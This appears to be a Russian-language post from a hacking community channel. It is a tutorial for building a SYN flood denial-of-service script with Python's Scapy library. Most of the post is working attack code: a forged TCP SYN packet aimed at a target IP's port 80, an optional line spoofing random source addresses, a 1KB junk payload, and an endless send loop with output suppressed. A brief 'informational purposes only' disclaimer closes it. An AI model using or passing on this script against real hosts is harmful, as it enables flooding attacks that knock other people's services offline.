Как осуществить атаку SYN Flooding в Python

В этой статье будет реализована атака SYN flood с использованием библиотеки Scapy в Python.

▪Необходимо установить Scapy:

pip3 install scapy

▪Откройте новый файл Python и импортируйте Scapy:

from scapy.all import *

▪Проверить на своем локальном маршрутизаторе, который имеет частный IP-адрес 192.168.1.1:

# target IP address (should be a testing router/firewall)

target_ip = "192.168.1.1"

# the target port u want to flood

target_port = 80

▪Целевым портом является HTTP, так как я хочу залить веб-интерфейс моего маршрутизатора. Теперь давайте подделаем наш SYN-пакет, начиная с IP-уровня:

# forge IP packet with target ip as the destination IP address

ip = IP(dst=target_ip)

# or if you want to perform IP Spoofing (will work as well)

# ip = IP(src=RandIP("192.168.1.1/24"), dst=target_ip)

Мы указали dst в качестве целевого IP-адреса, мы также можем установить src-адрес на поддельный случайный IP-адрес в диапазоне частной сети (закомментированный код), и он также будет работать.

▪Давайте подделаем наш TCP уровень:

# forge a TCP SYN packet with a random source port

# and the target port as the destination port

tcp = TCP(sport=RandShort(), dport=target_port, flags="S")

Итак, мы устанавливаем порт источника (sport) на случайное короткое значение (которое варьируется от 1 до 65535, как и порты) и dport (порт назначения) в качестве целевого порта. В данном случае это служба HTTP.

Мы также установили флаги на “S”, что указывает на тип SYN.

▪Теперь давайте добавим немного исходных данных для флуда, чтобы занять сеть:

# add some flooding data (1KB in this case)

raw = Raw(b"X"*1024)

Отлично!

▪Теперь сложим слои и отправим пакет:

# stack up the layers

p = ip / tcp / raw

# send the constructed packet in a loop until CTRL+C is detected

send(p, loop=1, verbose=0)

Итак, мы использовали функцию send(), которая отправляет пакеты на уровне 3, мы установили loop на 1, чтобы продолжать отправку до нажатия CTRL+C, установив verbose на 0, мы не будем ничего печатать во время процесса.

Информация предоставлена исключительно для ознакомительных целей!

Мы в телеграме!

Life-Hack [Жизнь-Взлом]/Хакинг

251 пост2.7K подписчиков

Добавить пост

Правила сообщества

Просьба уважать друг друга.